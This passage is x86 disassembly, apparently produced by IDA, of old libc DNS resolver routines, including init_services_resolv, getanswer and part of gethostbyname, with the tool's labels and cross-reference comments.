		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_804B67A
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B670
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804B663
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B670

loc_804B663:				; CODE XREF: init_services_resolv+C79j
		mov	dword_8078510, 1
		jmp	short loc_804B67A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B670:				; CODE XREF: init_services_resolv+C73j
					; init_services_resolv+C89j
		mov	dword_8078510, 0

loc_804B67A:				; CODE XREF: init_services_resolv+C5Fj
					; init_services_resolv+C95j
		push	offset aResolv_reorder ; "RESOLV_REORDER"
		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_804B6CE
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B6C4
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804B6B7
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B6C4

loc_804B6B7:				; CODE XREF: init_services_resolv+CCDj
		mov	dword_807851C, 1
		jmp	short loc_804B6CE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B6C4:				; CODE XREF: init_services_resolv+CC7j
					; init_services_resolv+CDDj
		mov	dword_807851C, 0

loc_804B6CE:				; CODE XREF: init_services_resolv+CB3j
					; init_services_resolv+CE9j
		push	offset aResolv_add_tri ; "RESOLV_ADD_TRIM_DOMAINS"
		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_804B74F
		push	offset asc_8067950 ; " ,;:"
		push	ebx
		jmp	short loc_804B741
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B6EC:				; CODE XREF: init_services_resolv+D75j
		cmp	dword_8078520, 3
		jg	short loc_804B73A
		push	ebx
		mov	eax, [ebp+var_408]
		push	eax
		call	strcpy
		mov	eax, [ebp+var_408]
		mov	ecx, dword_8078520
		mov	ds:dword_807A348[ecx*4], eax
		inc	dword_8078520
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx
		add	esp, 8

loc_804B73A:				; CODE XREF: init_services_resolv+D1Bj
		push	offset asc_8067950 ; " ,;:"
		push	0

loc_804B741:				; CODE XREF: init_services_resolv+D0Fj
		call	strtok
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_804B6EC

loc_804B74F:				; CODE XREF: init_services_resolv+D07j
		push	offset aResolv_overrid ; "RESOLV_OVERRIDE_TRIM_DOMAINS"
		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_804B7E7
		mov	dword_8078520, 0
		mov	[ebp+var_408], offset unk_807A358
		push	offset asc_8067950 ; " ,;:"
		push	ebx
		jmp	short loc_804B7D9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B784:				; CODE XREF: init_services_resolv+E0Dj
		cmp	dword_8078520, 3
		jg	short loc_804B7D2
		push	ebx
		mov	eax, [ebp+var_408]
		push	eax
		call	strcpy
		mov	eax, [ebp+var_408]
		mov	ecx, dword_8078520
		mov	ds:dword_807A348[ecx*4], eax
		inc	dword_8078520
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx
		add	esp, 8

loc_804B7D2:				; CODE XREF: init_services_resolv+DB3j
		push	offset asc_8067950 ; " ,;:"
		push	0

loc_804B7D9:				; CODE XREF: init_services_resolv+DA8j
		call	strtok
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_804B784

loc_804B7E7:				; CODE XREF: init_services_resolv+D88j
		mov	dword_80784F8, 1
		lea	esp, [ebp+var_420]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
init_services_resolv endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

getanswer	proc near		; CODE XREF: gethostbyname+180p
					; gethostbyaddr+105p

var_144		= byte ptr -144h
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_12C], 0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_130], eax
		mov	ds:dword_8079E74, 0
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		mov	[ebp+var_108], edx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+6]
		xchg	al, ah
		movzx	edx, ax
		mov	[ebp+var_120], edx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+4]
		xchg	al, ah
		mov	[ebp+var_10C], offset unk_8079F14
		mov	[ebp+var_11C], 401h
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		cmp	ax, 1
		jz	short loc_804B880
		mov	ds:dword_807E788, 3
		jmp	loc_804BE9E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B880:				; CODE XREF: getanswer+6Ej
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jge	short loc_804B8B8
		mov	ds:dword_807E788, 3
		jmp	loc_804BE9E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B8B8:				; CODE XREF: getanswer+A6j
		call	sub_805E954
		lea	esi, [esi+ebx+4]
		cmp	[ebp+arg_10], 1
		jnz	short loc_804B8FF
		xor	cl, cl
		mov	edi, [ebp+var_10C]
		mov	al, cl
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		mov	edx, [ebp+var_10C]
		mov	ds:dword_8079E74, edx
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		mov	eax, ds:dword_8079E74
		mov	[ebp+arg_8], eax

loc_804B8FF:				; CODE XREF: getanswer+C5j
		mov	[ebp+var_110], offset dword_8079E88
		mov	ds:dword_8079E88, 0
		mov	ds:dword_8079E78, offset dword_8079E88
		mov	[ebp+var_114], offset dword_8079DE4
		mov	ds:dword_8079DE4, 0
		mov	ds:dword_8079E84, offset dword_8079DE4
		mov	[ebp+var_124], 0
		mov	[ebp+var_128], 0
		mov	eax, [ebp+var_120]
		dec	[ebp+var_120]
		test	eax, eax
		jle	loc_804BE14
		cmp	[ebp+var_108], esi
		jbe	loc_804BE14
		nop

loc_804B970:				; CODE XREF: getanswer+60Ej
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_804BD6C
		add	esi, ebx
		push	esi
		call	sub_804D6B8
		mov	ecx, eax
		movzx	edi, cx
		add	esi, 2
		push	esi
		call	sub_804D6B8
		mov	ecx, eax
		and	ecx, 0FFFFh
		mov	[ebp+var_118], ecx
		add	esi, 6
		push	esi
		call	sub_804D6B8
		mov	ecx, eax
		movzx	ebx, cx
		add	esi, 2
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	[ebp+var_118], edx
		jnz	loc_804BDA7
		cmp	[ebp+arg_10], 1
		jnz	loc_804BB08
		cmp	edi, 5
		jnz	loc_804BB08
		cmp	[ebp+var_110], offset unk_8079F10
		jnb	loc_804BDEF
		push	101h
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_804BD6C
		add	esi, ebx
		cmp	ds:dword_8079E74, 0
		jz	short loc_804BA90
		mov	edx, [ebp+var_10C]
		push	edx
		mov	eax, ds:dword_8079E74
		push	eax
		call	sub_80565F8
		mov	ecx, eax
		add	esp, 8
		test	ecx, ecx
		jz	short loc_804BA90
		mov	edx, [ebp+var_10C]
		push	edx
		mov	eax, ds:dword_8079E74
		push	eax
		push	offset aGethostby_geta ; "gethostby*.getanswer:	asked for \"%s\", g"...
		push	1Bh
		push	0Bh
		mov	edx, dword_8078F9C
		push	edx
		call	catgets
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_8054EB0
		add	esp, 10h
		jmp	loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BA90:				; CODE XREF: getanswer+239j
					; getanswer+254j
		mov	edx, [ebp+var_10C]
		mov	eax, [ebp+var_110]
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_110], eax
		mov	edi, [ebp+var_10C]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		lea	edi, [ebp+var_104]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		cmp	[ebp+var_11C], ebx
		jl	loc_804BD6C
		lea	edx, [ebp+var_104]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		call	strcpy
		mov	edx, [ebp+var_10C]
		mov	ds:dword_8079E74, edx
		jmp	short loc_804BB86
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BB08:				; CODE XREF: getanswer+1E7j
					; getanswer+1F0j
		cmp	[ebp+arg_10], 0Ch
		jnz	loc_804BB9C
		cmp	edi, 5
		jnz	loc_804BB9C
		push	101h
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_804BD6C
		add	esi, ebx
		lea	edi, [ebp+var_104]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		cmp	[ebp+var_11C], ebx
		jl	loc_804BD6C
		lea	edx, [ebp+var_104]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		call	strcpy
		mov	edx, [ebp+var_10C]
		mov	[ebp+var_130], edx

loc_804BB86:				; CODE XREF: getanswer+306j
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		add	esp, 8
		jmp	loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BB9C:				; CODE XREF: getanswer+30Cj
					; getanswer+315j
		cmp	[ebp+arg_10], edi
		jz	short loc_804BBE0
		mov	eax, [ebp+var_10C]
		push	eax
		push	edi
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		push	offset aGethostby_ge_0 ; "gethostby*.getanswer:	asked for type %d"...
		push	1Ch
		push	0Bh
		mov	edx, dword_8078F9C
		push	edx
		call	catgets
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_8054EB0
		add	esi, ebx
		add	esp, 18h
		jmp	loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BBE0:				; CODE XREF: getanswer+39Fj
		cmp	edi, 1
		jz	short loc_804BC64
		cmp	edi, 0Ch
		jnz	loc_804BDD8
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, [ebp+var_130]
		push	edx
		call	sub_80565F8
		mov	ecx, eax
		add	esp, 8
		test	ecx, ecx
		jz	short loc_804BC18
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, [ebp+arg_8]
		jmp	short loc_804BC8D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BC18:				; CODE XREF: getanswer+408j
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jge	short loc_804BC4C
		inc	[ebp+var_128]
		jmp	loc_804BDE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BC4C:				; CODE XREF: getanswer+43Ej
		mov	edx, [ebp+var_10C]
		mov	ds:dword_8079E74, edx

loc_804BC58:				; CODE XREF: getanswer+66Ej
					; getanswer+68Fj
		mov	eax, offset dword_8079E74
		jmp	loc_804BEA0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BC64:				; CODE XREF: getanswer+3E3j
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, ds:dword_8079E74
		push	edx
		call	sub_80565F8
		mov	ecx, eax
		add	esp, 8
		test	ecx, ecx
		jz	short loc_804BCBC
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, ds:dword_8079E74

loc_804BC8D:				; CODE XREF: getanswer+414j
		push	edx
		push	offset aGethostby_ge_1 ; "gethostby*.getanswer:	asked for \"%s\", g"...
		push	1Ah
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_8054EB0
		add	esi, ebx
		add	esp, 10h
		jmp	loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BCBC:				; CODE XREF: getanswer+47Ej
		cmp	[ebp+var_124], 0
		jz	short loc_804BCD4
		cmp	ds:dword_8079E80, ebx
		jz	short loc_804BD2C
		jmp	loc_804BDA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BCD4:				; CODE XREF: getanswer+4C3j
		mov	ds:dword_8079E80, ebx
		mov	ecx, offset dword_8079E7C
		cmp	[ebp+var_118], 1
		jnz	short loc_804BCF4
		mov	ds:dword_8079E7C, 2
		jmp	short loc_804BCFA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BCF4:				; CODE XREF: getanswer+4E6j
		mov	dword ptr [ecx], 0

loc_804BCFA:				; CODE XREF: getanswer+4F2j
		mov	edx, [ebp+var_10C]
		mov	ds:dword_8079E74, edx
		mov	edi, [ebp+var_10C]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	[ebp+var_138], ecx
		add	edx, ecx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ecx

loc_804BD2C:				; CODE XREF: getanswer+4CBj
		mov	eax, [ebp+var_10C]
		add	eax, 4
		mov	edx, [ebp+var_10C]
		and	edx, 3
		sub	eax, edx
		mov	[ebp+var_10C], eax
		mov	eax, [ebp+var_10C]
		add	eax, ebx
		cmp	eax, offset unk_807A315
		jb	short loc_804BD74
		test	byte ptr dword_807854C,	2
		jz	short loc_804BD6C
		push	ebx
		push	offset aSizeDTooBig ; "size (%d) too big\n"
		call	printf
		add	esp, 8

loc_804BD6C:				; CODE XREF: getanswer+196j
					; getanswer+22Aj ...
		inc	[ebp+var_128]
		jmp	short loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BD74:				; CODE XREF: getanswer+553j
		cmp	[ebp+var_114], offset unk_8079E6C
		jb	short loc_804BDAC
		test	byte ptr dword_807854C,	2
		jz	short loc_804BDA7
		inc	[ebp+var_12C]
		cmp	[ebp+var_12C], 1
		jnz	short loc_804BDA7
		push	23h
		push	offset aTooManyAddress ; "Too many addresses (%d)\n"
		call	printf
		add	esp, 8

loc_804BDA7:				; CODE XREF: getanswer+1DDj
					; getanswer+4CDj ...
		add	esi, ebx
		jmp	short loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BDAC:				; CODE XREF: getanswer+57Ej
		push	ebx
		mov	eax, [ebp+var_10C]
		mov	edx, [ebp+var_114]
		mov	[edx], eax
		push	eax
		add	edx, 4
		mov	[ebp+var_114], edx
		push	esi
		call	bcopy
		add	[ebp+var_10C], ebx
		add	esi, ebx
		add	esp, 0Ch
		jmp	short loc_804BDE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BDD8:				; CODE XREF: getanswer+3E8j
		call	abort
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804BDE0:				; CODE XREF: getanswer+446j
					; getanswer+5D6j
		cmp	[ebp+var_128], 0
		jnz	short loc_804BDEF
		inc	[ebp+var_124]

loc_804BDEF:				; CODE XREF: getanswer+200j
					; getanswer+288j ...
		mov	eax, [ebp+var_120]
		dec	[ebp+var_120]
		test	eax, eax
		jle	short loc_804BE14
		cmp	[ebp+var_108], esi
		jbe	short loc_804BE14
		cmp	[ebp+var_128], 0
		jz	loc_804B970

loc_804BE14:				; CODE XREF: getanswer+15Dj
					; getanswer+169j ...
		cmp	[ebp+var_124], 0
		jz	short loc_804BE94
		mov	edx, [ebp+var_110]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_114]
		mov	dword ptr [eax], 0
		test	byte_80786A8, 0F0h
		jz	short loc_804BE67
		cmp	[ebp+var_124], 1
		jle	short loc_804BE67
		cmp	[ebp+arg_C], 1
		jnz	short loc_804BE67
		cmp	[ebp+arg_10], 1
		jnz	short loc_804BE67
		mov	edx, [ebp+var_124]
		push	edx
		push	offset dword_8079DE4
		call	sub_804CBE4
		add	esp, 8

loc_804BE67:				; CODE XREF: getanswer+63Cj
					; getanswer+645j ...
		cmp	ds:dword_8079E74, 0
		jnz	loc_804BC58
		mov	eax, [ebp+arg_8]
		push	eax
		mov	edx, [ebp+var_10C]
		push	edx
		call	strcpy
		mov	eax, [ebp+var_10C]
		mov	ds:dword_8079E74, eax
		jmp	loc_804BC58
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BE94:				; CODE XREF: getanswer+61Bj
		mov	ds:dword_807E788, 2

loc_804BE9E:				; CODE XREF: getanswer+7Aj
					; getanswer+B2j
		xor	eax, eax

loc_804BEA0:				; CODE XREF: getanswer+45Dj
		lea	esp, [ebp+var_144]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
getanswer	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804BEB0	proc near

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	dword_80784F8, 0
		jnz	short loc_804BEC4
		call	init_services_resolv

loc_804BEC4:				; CODE XREF: sub_804BEB0+Dj
		xor	edi, edi
		cmp	ds:dword_8079DD4, 0
		jz	loc_804BF73
		mov	esi, offset dword_8079DD4

loc_804BED8:				; CODE XREF: sub_804BEB0+BDj
		cmp	edi, 3
		jg	loc_804BF73
		mov	eax, [esi]
		cmp	eax, 2
		jz	short loc_804BEF4
		jle	short loc_804BF66
		cmp	eax, 3
		jz	short loc_804BF1C
		jmp	short loc_804BF66
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BEF4:				; CODE XREF: sub_804BEB0+36j
		call	sub_804C5A4
		mov	ebx, eax
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804BF16
		cmp	dword_807851C, 0
		jz	short loc_804BF16
		push	ebx
		call	reorder_addrs
		add	esp, 4

loc_804BF16:				; CODE XREF: sub_804BEB0+52j
					; sub_804BEB0+5Bj
		test	ebx, ebx
		jnz	short loc_804BF4C
		jmp	short loc_804BF5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BF1C:				; CODE XREF: sub_804BEB0+3Dj
		push	offset aHosts_byname ; "hosts.byname"
		push	0
		call	_getnishost
		mov	ebx, eax
		add	esp, 8
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804BF48
		cmp	dword_807851C, 0
		jz	short loc_804BF48
		push	ebx
		call	reorder_addrs
		add	esp, 4

loc_804BF48:				; CODE XREF: sub_804BEB0+84j
					; sub_804BEB0+8Dj
		test	ebx, ebx
		jz	short loc_804BF5C

loc_804BF4C:				; CODE XREF: sub_804BEB0+68j
		mov	ds:dword_807E788, 0
		mov	eax, ebx
		jmp	short loc_804BF75
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BF5C:				; CODE XREF: sub_804BEB0+6Aj
					; sub_804BEB0+9Aj
		mov	ds:dword_807E788, 1

loc_804BF66:				; CODE XREF: sub_804BEB0+38j
					; sub_804BEB0+3Fj
		add	esi, 4
		inc	edi
		cmp	dword ptr [esi], 0
		jnz	loc_804BED8

loc_804BF73:				; CODE XREF: sub_804BEB0+1Dj
					; sub_804BEB0+2Bj
		xor	eax, eax

loc_804BF75:				; CODE XREF: sub_804BEB0+A8j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804BEB0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

gethostbyname	proc near		; CODE XREF: get_haddr+7p
					; sub_8049174+F1p ...

var_410		= byte ptr -410h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		movzx	edx, byte ptr [edx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	loc_804C058
		mov	ecx, [ebp+arg_0]
		jmp	loc_804C049
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BFAC:				; CODE XREF: gethostbyname+D2j
		mov	edx, [ebp+arg_0]
		push	edx
		call	inet_addr
		mov	ds:dword_807A318, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_804BFD0
		mov	ds:dword_807E788, 1
		jmp	loc_804C225
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BFD0:				; CODE XREF: gethostbyname+3Dj
		mov	edx, [ebp+arg_0]
		mov	ds:dword_8079E74, edx
		mov	ds:dword_8079E78, offset dword_8079E88
		mov	ds:dword_8079E88, 0
		mov	ds:dword_8079E7C, 2
		mov	ds:dword_8079E80, 4
		mov	ds:dword_8079DE4, offset dword_807A318
		mov	ds:dword_8079DE8, 0
		mov	ds:dword_8079E84, offset dword_8079DE4
		mov	ds:dword_807E788, 0
		mov	eax, offset dword_8079E74
		jmp	loc_804C227
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C034:				; CODE XREF: gethostbyname+CCj
		movzx	edx, byte ptr [ecx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jnz	short loc_804C048
		cmp	byte ptr [ecx],	2Eh
		jnz	short loc_804C058

loc_804C048:				; CODE XREF: gethostbyname+C1j
		inc	ecx

loc_804C049:				; CODE XREF: gethostbyname+25j
		cmp	byte ptr [ecx],	0
		jnz	short loc_804C034
		cmp	byte ptr [ecx-1], 2Eh
		jnz	loc_804BFAC

loc_804C058:				; CODE XREF: gethostbyname+1Cj
					; gethostbyname+C6j
		cmp	dword_80784F8, 0
		jnz	short loc_804C066
		call	init_services_resolv

loc_804C066:				; CODE XREF: gethostbyname+DFj
		xor	edi, edi
		cmp	ds:dword_8079DD4, 0
		jz	loc_804C225
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804C078:				; CODE XREF: gethostbyname+29Fj
		cmp	edi, 3
		jg	loc_804C225
		mov	eax, ds:dword_8079DD4[edi*4]
		cmp	eax, 2
		jz	loc_804C134
		jg	short loc_804C0A0
		cmp	eax, 1
		jz	short loc_804C0B0
		jmp	loc_804C216
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C0A0:				; CODE XREF: gethostbyname+111j
		cmp	eax, 3
		jz	loc_804C194
		jmp	loc_804C216
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C0B0:				; CODE XREF: gethostbyname+116j
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	1
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		call	res_search
		add	esp, 14h
		test	eax, eax
		jge	short loc_804C0F0
		test	byte ptr dword_807854C,	2
		jz	loc_804C216
		push	offset aRes_searchFail ; "res_search failed\n"
		call	printf
		add	esp, 4
		jmp	loc_804C216
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C0F0:				; CODE XREF: gethostbyname+14Ej
		push	1
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		call	getanswer
		mov	esi, eax
		add	esp, 14h
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804C125
		cmp	dword_807851C, 0
		jz	short loc_804C125
		push	esi
		call	reorder_addrs
		add	esp, 4

loc_804C125:				; CODE XREF: gethostbyname+191j
					; gethostbyname+19Aj
		test	esi, esi
		jz	loc_804C216
		jmp	loc_804C1FA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C134:				; CODE XREF: gethostbyname+10Bj
		cmp	ds:dword_807A348, 0
		jz	short loc_804C164
		mov	edx, [ebp+arg_0]
		push	edx
		call	strdup
		mov	ebx, eax
		push	ebx
		call	dotrimdomain
		push	ebx
		call	_gethtbyname
		mov	esi, eax
		push	ebx
		call	free
		add	esp, 10h
		jmp	short loc_804C172
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C164:				; CODE XREF: gethostbyname+1BBj
		mov	edx, [ebp+arg_0]
		push	edx
		call	_gethtbyname
		mov	esi, eax
		add	esp, 4

loc_804C172:				; CODE XREF: gethostbyname+1DFj
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804C18D
